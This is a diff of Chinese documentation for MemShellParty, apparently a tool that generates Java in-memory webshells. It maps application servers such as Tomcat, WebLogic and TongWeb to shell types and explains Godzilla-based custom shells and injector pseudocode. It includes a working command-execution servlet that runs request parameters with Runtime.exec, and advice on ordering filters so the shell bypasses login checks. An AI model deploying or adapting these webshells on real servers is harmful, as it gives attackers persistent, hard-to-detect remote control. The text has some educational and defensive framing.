JDK6/7 下载链接:https://arthas.aliyun.com/3.x/doc/download.html
|
|
||||||
|
|
||||||
### 启动 Arthas
|
### 启动 Arthas
|
||||||
|
|
||||||
@@ -0,0 +1,130 @@
|
|||||||
|
# Java 服务简介
|
||||||
|
|
||||||
|
以下服务仅我个人遇到的一些场景,与实际攻防场景可能仍有差距,但是在 MemShellParty
|
||||||
|
中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充,欢迎 PR 交流学习~
|
||||||
|
|
||||||
|
## Tomcat
|
||||||
|
|
||||||
|
> https://tomcat.apache.org/
|
||||||
|
|
||||||
|
Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现,限制较少,在 MemShellParty 中,服务类型选 Tomcat 即可生成 Tomcat
|
||||||
|
内存马。
|
||||||
|
|
||||||
|
一般而言,SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能,比如 Nacos,这种情况下可以选择 Tomcat 内存马注入。
|
||||||
|
|
||||||
|
其他服务中,致远 OA、Confluence、帆软使用的是 Tomcat。
|
||||||
|
|
||||||
|
## Jetty
|
||||||
|
|
||||||
|
> https://jetty.org/
|
||||||
|
|
||||||
|
Jetty6 版本使用的包名为 `org.mortbay.jetty`,而 7 以上使用的是 `org.eclipse.jetty`,在测试最新的 Jenkins 时,发现 Jetty11+
|
||||||
|
版本支持 ee8 ~ ee10 的环境,包名对应的是 `org.eclipse.jetty.ee8`,这些在 MemShellParty 中均已支持,因此服务类型选 Jetty
|
||||||
|
即可生成 Jetty 内存马。
|
||||||
|
|
||||||
|
在 SpringWebMVC 项目中也是有可能使用的。
|
||||||
|
|
||||||
|
## JBoss
|
||||||
|
|
||||||
|
> JBossAS: https://jbossas.jboss.org/downloads
|
||||||
|
|
||||||
|
> JBossEAP: https://developers.redhat.com/products/eap/download
|
||||||
|
|
||||||
|
JBoss 分为 JBossAS 和 JBossEAP,JBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现,JBossEAP7 及其以上使用的
|
||||||
|
[Undertow](https://undertow.io/) 提供的 Servlets 实现。
|
||||||
|
|
||||||
|
因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成,而 JBossEAP7 服务类型需要选择
|
||||||
|
Undertow 进行内存马的生成。
|
||||||
|
|
||||||
|
## Wildfly
|
||||||
|
|
||||||
|
> https://www.wildfly.org/
|
||||||
|
|
||||||
|
Wildfly 使用的 [Undertow](https://undertow.io/) 提供的 Servlets 实现,因此服务类型选择 Undertow 生成内存马
|
||||||
|
|
||||||
|
## GlassFish
|
||||||
|
|
||||||
|
> https://glassfish.org/
|
||||||
|
|
||||||
|
GlassFish 使用的是 Catalina 提供的 Servlets 实现,但是使用了 OSGI 类加载模式,因此类限制较为严重,在 MemShellParty 中,服务类型选择
|
||||||
|
GlassFish 进行内存马的生成。
|
||||||
|
|
||||||
|
## Payara
|
||||||
|
|
||||||
|
> https://www.payara.fish/downloads/
|
||||||
|
|
||||||
|
基于 GlassFish 开发,服务类型选择 GlassFish 进行内存马的生成。
|
||||||
|
|
||||||
|
## Resin
|
||||||
|
|
||||||
|
> https://caucho.com/products/resin/download
|
||||||
|
|
||||||
|
Resin 使用的包名为 `com.caucho.`,服务类型选择 Resin 进行内存马的生成。
|
||||||
|
|
||||||
|
泛微 OA 使用的就是 Resin 提供的服务。
|
||||||
|
|
||||||
|
## WebLogic
|
||||||
|
|
||||||
|
> https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
|
||||||
|
|
||||||
|
WebLogic 使用的包名为 `weblogic.`,服务类型选择 WebLogic 进行内存马的生成。
|
||||||
|
|
||||||
|
## WebSphere
|
||||||
|
|
||||||
|
> https://www.ibm.com/products/websphere-application-server
|
||||||
|
|
||||||
|
WebSphere 是 IBM 研发的商用 Servlets 容器,开源版本为 Websphere liberty,
|
||||||
|
包名为 `com.ibm.`,服务类型选择 WebSphere 进行内存马的生成。
|
||||||
|
|
||||||
|
## BES
|
||||||
|
|
||||||
|
> https://www.bessystem.com/
|
||||||
|
|
||||||
|
BES 宝兰德,其基于 Tomcat 进行二开,在 BES 9.5.1 版本中没有进行包名修改,而在 BES 9.5.2
|
||||||
|
版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本,服务类型选择 Tomcat 进行内存马的生成,BES 9.5.2+ 服务类型选择
|
||||||
|
BES 进行内存马的生成。
|
||||||
|
|
||||||
|
## TongWeb
|
||||||
|
|
||||||
|
> https://www.tongtech.com/sy.html
|
||||||
|
|
||||||
|
TongWeb 东方通,其基于 Tomcat 进行二开,并且在最初的 6 版本就进行了包名修改,每个版本都进行了修改。
|
||||||
|
|
||||||
|
- TongWeb6: `com.tongweb.web.thor.`
|
||||||
|
- TongWeb7: `com.tongweb.catalina.`
|
||||||
|
- TongWeb8: `com.tongweb.server.`
|
||||||
|
|
||||||
|
这三个版本在 MemShellParty 中均有适配,服务类型选择 TongWeb 进行内存马的生成。
|
||||||
|
|
||||||
|
## Apusic
|
||||||
|
|
||||||
|
> https://www.apusic.com/
|
||||||
|
|
||||||
|
金蝶中间件,Apusic9 疑似魔改自 GlassFish,不过改得面目全非了,自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9
|
||||||
|
版本服务类型选择
|
||||||
|
Apusic 进行内存马生成,Apusic10 版本选择 GlassFish 进行内存马生成。
|
||||||
|
|
||||||
|
## Primeton
|
||||||
|
|
||||||
|
> https://www.primeton.com/products/pas/
|
||||||
|
|
||||||
|
普元中间件,Primeton6.5 版本基于 GlassFish
|
||||||
|
二开,高版本疑似做了包名修改,但没有环境,因此暂未适配([#60](https://github.com/ReaJason/MemShellParty/issues/60))因此当前仅支持
|
||||||
|
Primeton6.5 版本,服务类型选择 GlassFish 进行内存马生成。
|
||||||
|
|
||||||
|
## InforSuite
|
||||||
|
|
||||||
|
中创中间件,InforSuite 基于 GlassFish 进行二开,不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了
|
||||||
|
iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。
|
||||||
|
|
||||||
|
## SpringWebMVC
|
||||||
|
|
||||||
|
Spring 框架,默认的 MVC 架构,官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow,也可打包成 war 包部署于任意 Servlets
|
||||||
|
容器上。内存马注入场景下不推荐框架内存马,而是具体的 Servlets 容器内存马,因为可绕过框架的限制(鉴权或其他)。服务类型选择
|
||||||
|
SpringWebMVC 进行内存马生成。
|
||||||
|
|
||||||
|
## SpringWebFlux
|
||||||
|
|
||||||
|
Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件,底层使用的 Netty,一般常见于各种 SpringCloud 项目,例如网关。服务类型选择
|
||||||
|
SpringWebFlux 进行内存马生成。
|
||||||
|
|
||||||
@@ -1,8 +1,6 @@
|
|||||||
---
|
# Java 内存马简介
|
||||||
title: 什么是 Java 内存马
|
|
||||||
---
|
|
||||||
|
|
||||||
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现 webshell 的所有功能。其唯一缺点可能就是服务重启即失效,不过也出现了附带的内存马复活相关技术。
|
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。
|
||||||
|
|
||||||
## 什么是 webshell
|
## 什么是 webshell
|
||||||
|
|
||||||
@@ -12,17 +10,17 @@ webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目
|
|||||||
|
|
||||||
常见的 webshell 功能包括:
|
常见的 webshell 功能包括:
|
||||||
|
|
||||||
1. 命令回显,反弹 unix shell。
|
1. 命令回显,反弹 unix shell
|
||||||
2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。
|
2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。
|
||||||
3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。
|
3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。
|
||||||
|
|
||||||
## 演变历程
|
## 演变历程
|
||||||
|
|
||||||
随着攻防对抗强度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施似乎只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
|
随着攻防演练热度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
|
||||||
|
|
||||||
内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
|
因此内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
|
||||||
|
|
||||||
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许当你遇到有意思的 webshell 时,可以考虑将其改造成内存马。
|
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马。
|
||||||
|
|
||||||
## 常见 Java 内存马
|
## 常见 Java 内存马
|
||||||
|
|
||||||
@@ -32,7 +30,7 @@ webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目
|
|||||||
|
|
||||||
**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。
|
**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。
|
||||||
|
|
||||||
Java EE 中的 Servlet 规范就提供了 Servlet、Filter 以及 Listener,Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor,SpringWebFlux 中的 WebFilter 这种框架内存马也被广泛使用。
|
Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 Listener,Tomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、Interceptor,SpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。
|
||||||
|
|
||||||
从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
|
从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
|
||||||
|
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
## 如何使用自定义内存马功能
|
||||||
|
|
||||||
|
MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入,注入的伪代码如下:
|
||||||
|
|
||||||
|
```java
|
||||||
|
Object context = getContext();
|
||||||
|
Object shell = defineClass(getShellBase64Str());
|
||||||
|
|
||||||
|
inject(context, shell);
|
||||||
|
```
|
||||||
|
|
||||||
|
自定义内存马就是开放 getShellBase64Str 的修改,通过生成界面传入内存马的 base64 或 class 文件来实现。
|
||||||
|
|
||||||
|
注入器的选择,在通过生成界面选完目标服务和挂载类型就已经确认好了,无法自定义。
|
||||||
|
|
||||||
|
### 实现参考
|
||||||
|
|
||||||
|
1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为
|
||||||
|
jakarta,无须重复实现。
|
||||||
|
2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
|
||||||
|
方法上,因此推荐按参考实现一样使用空实现。
|
||||||
|
3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。
|
||||||
|
4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent
|
||||||
|
内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`、
|
||||||
|
`javax.crypto.Cipher`。
|
||||||
|
|
||||||
|
| 挂载类型 | 参考实现 |
|
||||||
|
|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||||
|
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
|
||||||
|
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
|
||||||
|
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
|
||||||
|
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
|
||||||
|
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
|
||||||
|
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
|
||||||
|
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
|
||||||
|
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
|
||||||
|
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
|
||||||
|
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
|
||||||
|
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
|
||||||
|
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
|
||||||
|
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
|
||||||
|
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
|
||||||
|
|
||||||
|
### 参考步骤
|
||||||
|
|
||||||
|
1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
|
||||||
|
2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
|
||||||
|
3. 执行 `./gradlew :memshell:compileJava` 或 `.\gradlew.bat :memshell:compileJava`
|
||||||
|
4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
|
||||||
|
5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成
|
||||||
|
After Width: | Height: | Size: 174 KiB |
|
After Width: | Height: | Size: 282 KiB |
|
After Width: | Height: | Size: 92 KiB |
|
After Width: | Height: | Size: 130 KiB |
|
Before Width: | Height: | Size: 232 KiB After Width: | Height: | Size: 232 KiB |
|
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 121 KiB |
|
After Width: | Height: | Size: 326 KiB |
@@ -1,6 +1,4 @@
|
|||||||
---
|
# Java Servlet Filter
|
||||||
title: Filter
|
|
||||||
---
|
|
||||||
|
|
||||||
> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)
|
> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md)
|
||||||
|
|
||||||
@@ -63,7 +61,7 @@ public interface Filter {
|
|||||||
|
|
||||||
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求,以下定义了一个命令回显的 FilterShell。
|
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求,以下定义了一个命令回显的 FilterShell。
|
||||||
|
|
||||||
1. 一般而言,我们会为 FilterShell 注册 url-pattern 为 `/*`,这样无论访问哪个路径都能被调用到,而且为了绕过登录过滤器,我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。
|
1. 一般而言,我们会为 FilterShell 注册 url-pattern 为 `/*`,这样无论访问哪个路径都能被调用到,而且为了绕过登录过滤器,我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。
|
||||||
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
|
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
|
||||||
3. 当 Filter 注册的 url-pattern 为 `/*` 时,我们拿到 cmd 参数,就可以执行命令并填充响应对象 `return` 结束请求,而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`,否则正常的业务就不会被执行。
|
3. 当 Filter 注册的 url-pattern 为 `/*` 时,我们拿到 cmd 参数,就可以执行命令并填充响应对象 `return` 结束请求,而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`,否则正常的业务就不会被执行。
|
||||||
|
|
||||||
@@ -1,23 +1,21 @@
|
|||||||
---
|
# Event Listeners
|
||||||
title: Listener
|
|
||||||
---
|
|
||||||
|
|
||||||
> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)
|
> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)
|
||||||
|
|
||||||
Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个,并且开发者可以指定监听器的调用顺序。
|
Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个,并且开发者可以指定监听器的调用顺序。
|
||||||
|
|
||||||
| Listener 接口类 | 描述 |
|
| Listener 接口类 | 描述 |
|
||||||
| ------------------------------------------------ | ------------------------------------------ |
|
|--------------------------------------------------|---------------------------------|
|
||||||
| javax.servlet.ServletContextListener | 在 ServletContext 创建以及销毁时 |
|
| javax.servlet.ServletContextListener | 在 ServletContext 创建以及销毁时 |
|
||||||
| javax.servlet.ServletContextAttributeListener | 在 ServletContext 添加、移除或替换属性时 |
|
| javax.servlet.ServletContextAttributeListener | 在 ServletContext 添加、移除或替换属性时 |
|
||||||
| javax.servlet.http.HttpSessionListener | 在 HttpSession 创建和销毁时 |
|
| javax.servlet.http.HttpSessionListener | 在 HttpSession 创建和销毁时 |
|
||||||
| javax.servlet.http.HttpSessionAttributeListener | 在 HttpSession 上添加、移除或替换属性 |
|
| javax.servlet.http.HttpSessionAttributeListener | 在 HttpSession 上添加、移除或替换属性 |
|
||||||
| javax.servlet.http.HttpSessionIdListener | 在 HttpSession id 变化时 |
|
| javax.servlet.http.HttpSessionIdListener | 在 HttpSession id 变化时 |
|
||||||
| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时 |
|
| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时 |
|
||||||
| javax.servlet.http.HttpSessionBindingListener | 在 HttpSession 上对象绑定或解绑时 |
|
| javax.servlet.http.HttpSessionBindingListener | 在 HttpSession 上对象绑定或解绑时 |
|
||||||
| javax.servlet.ServletRequestListener | 在 ServletRequest 在将要被 Web 容器处理时 |
|
| javax.servlet.ServletRequestListener | 在 ServletRequest 在将要被 Web 容器处理时 |
|
||||||
| javax.servlet.ServletRequestAttributeListener | 在 ServletRequest 上添加、移除或替换属性时 |
|
| javax.servlet.ServletRequestAttributeListener | 在 ServletRequest 上添加、移除或替换属性时 |
|
||||||
| javax.servlet.AsyncListener | 在异步操作开始、超时或完成时 |
|
| javax.servlet.AsyncListener | 在异步操作开始、超时或完成时 |
|
||||||
|
|
||||||
## ServletRequestListener
|
## ServletRequestListener
|
||||||
|
|
||||||
@@ -0,0 +1,98 @@
|
|||||||
|
# Java Servlet
|
||||||
|
|
||||||
|
Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要用户使用 socket 客户端,当然也可以基于 socket 实现 HTTP 协议,WebFlux 就是这样子的存在。而在 Java EE 中,Java 制定了 Servlet 规范,来规范在 Java 中提供 HTTP 服务的编写方式,其中有两个重要的概念,Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务,必须支持 HTTP,并且管理 Servlet 的生命周期,使 Servlet 在一个受限的安全环境中执行。
|
||||||
|
|
||||||
|
Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
|
||||||
|
|
||||||
|
目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
|
||||||
|
|
||||||
|
## ServletContext
|
||||||
|
|
||||||
|
> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
|
||||||
|
|
||||||
|
ServletContext 定义了 Servlet 运行的 Web 应用视图,一个 Web 应用对应一个 ServletContext。
|
||||||
|
|
||||||
|
ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener,对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
|
||||||
|
|
||||||
|
```java
|
||||||
|
addServlet(String servletName, String className);
|
||||||
|
addServlet(String servletName, Servlet servlet);
|
||||||
|
addServlet(String servletName, Class <? extends Servlet> servletClass);
|
||||||
|
addFilter(String filterName, String className);
|
||||||
|
addFilter(String filterName, Filter filter);
|
||||||
|
addFilter(String filterName, Class <? extends Filter> filterClass);
|
||||||
|
void addListener(String className);
|
||||||
|
void addListener(T t);
|
||||||
|
void addListener(Class <? extends EventListener> listenerClass);
|
||||||
|
```
|
||||||
|
|
||||||
|
这就是在注入内存马时我们需要先拿 Context 的原因(已经写在了 Servlet 规范里面啦),所以针对实现了 Servlet 规范的 Web 容器都是一个套路,并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是,其规定了这些方法只能在应用初始化的时候调用,我们注入内存马的时候已经是应用运行时了,那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
|
||||||
|
|
||||||
|
## HttpServlet
|
||||||
|
|
||||||
|
99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。
|
||||||
|
|
||||||
|
```java
|
||||||
|
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
```
|
||||||
|
|
||||||
|
Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
|
||||||
|
|
||||||
|
针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
|
||||||
|
|
||||||
|
```java
|
||||||
|
@WebServlet(”/foo”)
|
||||||
|
public class CalculatorServlet extends HttpServlet{
|
||||||
|
//...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>foo</servlet-name>
|
||||||
|
<servlet-class>org.example.CalculatorServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>foo</servlet-name>
|
||||||
|
<url-pattern>/foo</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
```
|
||||||
|
|
||||||
|
## ServletShell
|
||||||
|
|
||||||
|
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
|
||||||
|
|
||||||
|
1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
|
||||||
|
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
|
||||||
|
|
||||||
|
```java
|
||||||
|
public class CommandServlet extends HttpServlet {
|
||||||
|
public static String paramName;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
doPost(req, resp);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||||
|
String cmd = request.getParameter(paramName);
|
||||||
|
if (cmd != null) {
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
ServletOutputStream outputStream = response.getOutputStream();
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
@@ -18,12 +18,12 @@
|
|||||||
<dependency>
|
<dependency>
|
||||||
